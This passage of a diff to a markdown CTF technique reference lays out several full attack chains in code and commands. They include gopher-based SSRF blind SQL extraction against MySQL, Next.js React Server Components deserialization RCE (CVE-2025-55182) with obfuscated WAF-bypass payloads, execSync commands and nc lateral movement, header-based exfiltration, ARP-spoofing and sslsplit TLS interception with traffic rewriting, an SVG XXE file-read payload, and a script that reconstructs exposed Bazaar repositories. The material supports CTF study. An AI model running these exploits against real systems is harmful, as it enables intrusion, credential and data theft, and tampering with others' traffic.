0x85, 0xa6, 0x03, 0x00, # client capabilities
|
|
219
|
+
# ... remaining auth packet bytes from tcpdump capture
|
|
220
|
+
])
|
|
221
|
+
|
|
222
|
+
# MySQL query packet
|
|
223
|
+
def build_query_packet(sql):
|
|
224
|
+
payload = b'\x03' + sql.encode() # 0x03 = COM_QUERY
|
|
225
|
+
length = len(payload)
|
|
226
|
+
# MySQL packet: 3-byte length (little-endian) + 1-byte sequence number
|
|
227
|
+
header = length.to_bytes(3, 'little') + b'\x00'
|
|
228
|
+
return header + payload
|
|
229
|
+
|
|
230
|
+
# Step 3: Time-based blind extraction
|
|
231
|
+
flag = ""
|
|
232
|
+
for pos in range(1, 50):
|
|
233
|
+
for char in "abcdefghijklmnopqrstuvwxyz0123456789_{}-":
|
|
234
|
+
query = f"SELECT IF(SUBSTRING((SELECT flag FROM secrets LIMIT 1),{pos},1)='{char}',SLEEP(3),0)"
|
|
235
|
+
query_packet = build_query_packet(query)
|
|
236
|
+
|
|
237
|
+
# Combine auth + query, URL-encode for gopher
|
|
238
|
+
raw_data = bytes(auth_packet) + bytes(query_packet)
|
|
239
|
+
encoded = urllib.parse.quote(raw_data, safe='')
|
|
240
|
+
|
|
241
|
+
# Double-encode if the SSRF handler URL-decodes once
|
|
242
|
+
double_encoded = urllib.parse.quote(encoded, safe='')
|
|
243
|
+
|
|
244
|
+
gopher_url = f"gopher://127.0.0.1:3306/_{double_encoded}"
|
|
245
|
+
|
|
246
|
+
start = time.time()
|
|
247
|
+
requests.get("http://target/fetch", params={"url": gopher_url})
|
|
248
|
+
elapsed = time.time() - start
|
|
249
|
+
|
|
250
|
+
if elapsed > 3.0:
|
|
251
|
+
flag += char
|
|
252
|
+
print(f"Flag so far: {flag}")
|
|
253
|
+
break
|
|
254
|
+
|
|
255
|
+
print(f"Final flag: {flag}")
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
**Key insight:** `gopher://` sends raw TCP data, enabling communication with any TCP service. Capture a legitimate MySQL session with `tcpdump`, then replay the auth + query bytes via gopher. Use passwordless MySQL accounts (common in CTF setups). Double-URL-encode the payload when the SSRF handler URL-decodes once. This technique also works against PostgreSQL, Redis, and other TCP services accessible from the SSRF context. See also [sql-injection.md](sql-injection.md) for SQL injection techniques.
|
|
259
|
+
|
|
260
|
+
---
|
|
261
|
+
|
|
262
|
+
## React Server Components Flight Protocol RCE (Ehax 2026)
|
|
263
|
+
|
|
264
|
+
**Pattern (Flight Risk):** Next.js app using React Server Components (RSC). The Flight protocol deserializes client-sent objects on the server. A crafted fake Flight chunk exploits the constructor chain (`constructor → constructor → Function`) for arbitrary code execution (CVE-2025-55182).
|
|
265
|
+
|
|
266
|
+
### Step 1 — Identify RSC via HTTP headers
|
|
267
|
+
|
|
268
|
+
Intercept form submissions in the Network tab. RSC-specific headers:
|
|
269
|
+
```http
|
|
270
|
+
POST / HTTP/1.1
|
|
271
|
+
Next-Action: 7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd
|
|
272
|
+
Accept: text/x-component
|
|
273
|
+
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D
|
|
274
|
+
Content-Type: multipart/form-data; boundary=----x
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
Confirm the server function name in client JS bundles:
|
|
278
|
+
```javascript
|
|
279
|
+
createServerReference("7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd", callServer, void 0, findSourceMapURL, "greetUser")
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Step 2 — Exploit Flight deserialization for RCE
|
|
283
|
+
|
|
284
|
+
Craft a fake Flight chunk in the multipart form body. The `_prefix` field contains the payload. The constructor chain (`constructor → constructor → Function`) enables arbitrary JavaScript execution on the server.
|
|
285
|
+
|
|
286
|
+
Request structure:
|
|
287
|
+
```http
|
|
288
|
+
POST / HTTP/1.1
|
|
289
|
+
Host: target
|
|
290
|
+
Next-Action: <action_hash>
|
|
291
|
+
Accept: text/x-component
|
|
292
|
+
Content-Type: multipart/form-data; boundary=----x
|
|
293
|
+
|
|
294
|
+
------x
|
|
295
|
+
Content-Disposition: form-data; name="0"
|
|
296
|
+
|
|
297
|
+
THE FAKE FLIGHT CHUNK HERE
|
|
298
|
+
------x
|
|
299
|
+
Content-Disposition: form-data; name="1"
|
|
300
|
+
|
|
301
|
+
"$@0"
|
|
302
|
+
------x--
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
### Step 3 — Exfiltrate data via NEXT_REDIRECT
|
|
306
|
+
|
|
307
|
+
Next.js uses `NEXT_REDIRECT` errors internally for navigation. Abuse this to exfiltrate data through the `x-action-redirect` response header:
|
|
308
|
+
|
|
309
|
+
```javascript
|
|
310
|
+
throw Object.assign(new Error('NEXT_REDIRECT'), {
|
|
311
|
+
digest: `NEXT_REDIRECT;push;/login?a=${encodeURIComponent(RESULT)};307;`
|
|
312
|
+
});
|
|
313
|
+
```
|
|
314
|
+
|
|
315
|
+
The server responds with:
|
|
316
|
+
```http
|
|
317
|
+
HTTP/1.1 303 See Other
|
|
318
|
+
x-action-redirect: /login?a=<exfiltrated_data>;push
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
Example — confirm RCE with `process.pid`:
|
|
322
|
+
```javascript
|
|
323
|
+
throw Object.assign(new Error('NEXT_REDIRECT'), {
|
|
324
|
+
digest: `NEXT_REDIRECT;push;/login?a=${process.pid};307;`
|
|
325
|
+
});
|
|
326
|
+
// Response: x-action-redirect: /login?a=1;push
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
### Step 4 — Bypass WAF keyword filters
|
|
330
|
+
|
|
331
|
+
When keywords like `child_process`, `execSync`, `mainModule` are blocked (403 response with "WAF Alert"):
|
|
332
|
+
|
|
333
|
+
1. **String concatenation:**
|
|
334
|
+
```javascript
|
|
335
|
+
p['main'+'Module']['requ'+'ire']('chi'+'ld_pro'+'cess')
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
2. **Hex encoding:**
|
|
339
|
+
```javascript
|
|
340
|
+
'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73' // child_process
|
|
341
|
+
'\x65\x78\x65\x63\x53\x79\x6e\x63' // execSync
|
|
342
|
+
```
|
|
343
|
+
|
|
344
|
+
3. **Combined in payload:**
|
|
345
|
+
```javascript
|
|
346
|
+
var p=process;
|
|
347
|
+
var m=p['main'+'Module'];
|
|
348
|
+
var r=m['requ'+'ire'];
|
|
349
|
+
var c=r('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73');
|
|
350
|
+
var o=c['\x65\x78\x65\x63\x53\x79\x6e\x63']('id').toString();
|
|
351
|
+
throw Object.assign(new Error('NEXT_REDIRECT'),
|
|
352
|
+
{digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
### Step 5 — Post-RCE enumeration
|
|
356
|
+
|
|
357
|
+
```javascript
|
|
358
|
+
// Working directory
|
|
359
|
+
process.cwd() // → /app
|
|
360
|
+
|
|
361
|
+
// Process arguments
|
|
362
|
+
process.argv // → /usr/local/bin/node,/app/server.js
|
|
363
|
+
|
|
364
|
+
// List files
|
|
365
|
+
process.mainModule.require('fs').readdirSync(process.cwd()).join(',')
|
|
366
|
+
|
|
367
|
+
// Read files
|
|
368
|
+
process.mainModule.require('fs').readFileSync('vault.hint').toString('hex')
|
|
369
|
+
|
|
370
|
+
// Check available modules
|
|
371
|
+
Object.keys(process.mainModule.require('http'))
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
### Step 6 — Lateral movement to internal services
|
|
375
|
+
|
|
376
|
+
After discovering internal services (e.g., from hint files):
|
|
377
|
+
```javascript
|
|
378
|
+
// Use nc to reach internal HTTP services
|
|
379
|
+
var p=process;var m=p['main'+'Module'];var r=m['requ'+'ire'];
|
|
380
|
+
var c=r('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73');
|
|
381
|
+
var o=c['\x65\x78\x65\x63\x53\x79\x6e\x63'](
|
|
382
|
+
'printf "GET /flag.txt HTTP/1.1\\r\\nHost: internal-vault\\r\\n\\r\\n" | nc internal-vault 9009'
|
|
383
|
+
).toString();
|
|
384
|
+
throw Object.assign(new Error('NEXT_REDIRECT'),
|
|
385
|
+
{digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
**Key insight:** The NEXT_REDIRECT mechanism provides a reliable out-of-band data exfiltration channel through the `x-action-redirect` response header. Combined with WAF bypass via string concatenation and hex encoding, this enables full RCE even in filtered environments.
|
|
389
|
+
|
|
390
|
+
**Full exploit chain:** Identify RSC headers → craft fake Flight chunk → bypass WAF → achieve RCE → enumerate filesystem → discover internal services → lateral movement via `nc` to retrieve flag.
|
|
391
|
+
|
|
392
|
+
**Detection:** `Accept: text/x-component` + `Next-Action` header in requests, `createServerReference()` in client JS, Next.js Server Actions with user-controlled form data.
|
|
393
|
+
|
|
394
|
+
---
|
|
395
|
+
|
|
396
|
+
## AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)
|
|
397
|
+
|
|
398
|
+
**Pattern:** A web shim posts a JSON job `{"user": "alice", "code": "..."}` to an internal RabbitMQ broker on `5671/tcp` (AMQPS). Clients almost never pin certificates, so ARP-spoofing both hosts onto the attacker and terminating TLS with sslsplit yields plaintext AMQP frames you can log and rewrite (swap `"alice"` for `"root"` mid-stream to escalate privileges).
|
|
399
|
+
|
|
400
|
+
```bash
|
|
401
|
+
# 1. Sit between the web server and the broker (both ways)
|
|
402
|
+
arpspoof -i eth0 -t 172.30.0.2 172.30.0.4 &
|
|
403
|
+
arpspoof -i eth0 -t 172.30.0.4 172.30.0.2 &
|
|
404
|
+
|
|
405
|
+
# 2. Redirect the AMQP port into sslsplit
|
|
406
|
+
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 5671 -j REDIRECT --to-ports 1234
|
|
407
|
+
openssl genrsa -out ca.key 4096
|
|
408
|
+
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
|
|
409
|
+
mkdir /tmp/sslsplit logdir
|
|
410
|
+
sudo sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 1234
|
|
411
|
+
cat logdir/* # shows plaintext AMQP frames with the JSON body
|
|
412
|
+
|
|
413
|
+
# 3. For on-the-fly rewriting, patch mitmproxy's raw TCP layer:
|
|
414
|
+
# mitmproxy/proxy/protocol/rawtcp.py, RawTCPLayer._handle_server_message():
|
|
415
|
+
# x = buf[:size].tobytes().replace(b'"user": "alice",', b'"user": "root", ')
|
|
416
|
+
# tcp_message = tcp.TCPMessage(dst == server, x)
|
|
417
|
+
mitmproxy --mode transparent --listen-port 1234 --ssl-insecure \
|
|
418
|
+
--tcp-hosts 172.30.0.2 --tcp-hosts 172.30.0.4
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Key insight:** Clients without certificate pinning accept any CA-signed cert; sslsplit terminates TLS and forwards plaintext to its log, so any TLS-wrapped protocol (AMQP, IRC, MQTT, LDAPS, custom binary) becomes observable and — with a trivial mitmproxy patch — modifiable. Burp and mitmproxy focus on HTTPS; for arbitrary protocols, reach for sslsplit/sslsniff plus a pinhole in the TCP layer.
|
|
422
|
+
|
|
423
|
+
**References:** TAMUctf 2019 — Homework Help, writeup 13477
|
|
424
|
+
|
|
425
|
+
---
|
|
426
|
+
|
|
427
|
+
## CairoSVG XXE via Oversized width= (BSidesSF 2019)
|
|
428
|
+
|
|
429
|
+
**Pattern:** A web service renders user-supplied SVG to PNG with CairoSVG. CairoSVG (and librsvg/ImageMagick/rsvg-convert) resolves XML `DOCTYPE` entities before rasterising, so an XXE entity referenced inside `<text>` is drawn into the PNG. The gotcha: the rendered pixels have to fit the string — for a large file such as `/proc/self/status`, bump `width` up to ~20000 (max ~34000 before the server times out during rasterisation) so the text does not get clipped.
|
|
430
|
+
|
|
431
|
+
```xml
|
|
432
|
+
<?xml version="1.0" standalone="no"?>
|
|
433
|
+
<!DOCTYPE svg [<!ENTITY xx SYSTEM "file:///proc/self/status">]>
|
|
434
|
+
<svg height="300" width="20000" xmlns="http://www.w3.org/2000/svg">
|
|
435
|
+
<text x="0" y="15" fill="red">test &xx;; test</text>
|
|
436
|
+
</svg>
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
Upload, download the PNG, and read the flag off the image (eyeball or OCR). When hunting the flag path, dump `/proc/self/status` first to find the PID, then probe `/proc/<pid>/cwd/flag.txt`, `/proc/<pid>/cmdline`, and `/proc/<pid>/environ`. If the first pass clips (e.g. width=3000), re-render wider — BSidesSF 2019 SVGMagic landed the flag only at `width="3000"` because the target path was short.
|
|
440
|
+
|
|
441
|
+
**Key insight:** SVG renderers that honour DOCTYPE + ENTITY expansion are XXE-vulnerable just like any XML parser; enlarge `width` to fit large file contents into the rendered image, and remember the output channel is *pixels*, not text — `grep` the PNG for the flag after OCR (e.g. `tesseract img.png -`) or open it manually.
|
|
442
|
+
|
|
443
|
+
**References:** BSidesSF 2019 CTF — SVGMagic (PNGSVG), writeup 13711. See also the svglib variant in [server-side-2.md](server-side-2.md).
|
|
444
|
+
|
|
445
|
+
---
|
|
446
|
+
|
|
447
|
+
## Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)
|
|
448
|
+
|
|
449
|
+
**Pattern:** Web server exposes `/.bzr/` (HTTP 403 on the index, 200 on files). Bazaar stores history as a handful of index + pack files; `bzr check` tolerates partial repos and, on missing data, names the expected path in its error message. A loop that reads each error and `wget`s the corresponding file rebuilds the repository, after which `bzr revert` and `bzr diff` expose every committed revision — including secrets that were later removed.
|
|
450
|
+
|
|
451
|
+
```bash
|
|
452
|
+
# 1. Seed a local repo so bzr has a skeleton to work with
|
|
453
|
+
mkdir ctf && cd ctf && bzr init
|
|
454
|
+
echo foo > foo.txt && bzr add && bzr commit -m init && rm foo.txt
|
|
455
|
+
|
|
456
|
+
# 2. Replace the pointer files with copies from the victim
|
|
457
|
+
cd .bzr/branch && rm last-revision && wget http://target/.bzr/branch/last-revision
|
|
458
|
+
cd ../checkout && rm dirstate && wget http://target/.bzr/checkout/dirstate
|
|
459
|
+
cd ../repository && rm pack-names && wget http://target/.bzr/repository/pack-names
|
|
460
|
+
cd ../../
|
|
461
|
+
|
|
462
|
+
# 3. Loop until bzr check stops complaining about missing indices/packs
|
|
463
|
+
while true; do
|
|
464
|
+
OUT=$(bzr check 2>&1)
|
|
465
|
+
[[ "$OUT" != *"No such file:"* ]] && break
|
|
466
|
+
F=$(echo "$OUT" | sed 's/.*\([0-9a-f]\{32\}\).*/\1/')
|
|
467
|
+
for EXT in cix iix rix six tix; do
|
|
468
|
+
wget -P .bzr/repository/indices/ "http://target/.bzr/repository/indices/$F.$EXT"
|
|
469
|
+
done
|
|
470
|
+
wget -P .bzr/repository/packs/ "http://target/.bzr/repository/packs/$F.pack"
|
|
471
|
+
done
|
|
472
|
+
bzr revert
|
|
473
|
+
|
|
474
|
+
# 4. Mine every revision for interesting diffs
|
|
475
|
+
for R in $(bzr log --line | awk '{print $1}'); do bzr diff -r$((R-1))..$R; done
|
|
476
|
+
```
|
|
477
|
+
|
|
478
|
+
**Key insight:** Exposed `.bzr/` (or `.git/`, `.hg/`, `.svn/`) directories leak full commit history; bzr is particularly friendly because it tolerates partial repos and reports the missing path verbatim, so a wget-in-a-loop solver finishes the job. Always diff revisions, not just `HEAD` — flags, wallet keys, and decryption keys are often *removed* in a later commit but still recoverable. Once the tree is reconstructed you can chain with challenges like STEM CTF "Medium is overrated", where revision N stores a base64 ciphertext and revision M stores the AES-ECB key.
|
|
479
|
+
|
|
480
|
+
**References:** STEM CTF Cyber Challenge 2019 — My First Blog & Medium is overrated, writeups 13380 and 13379
|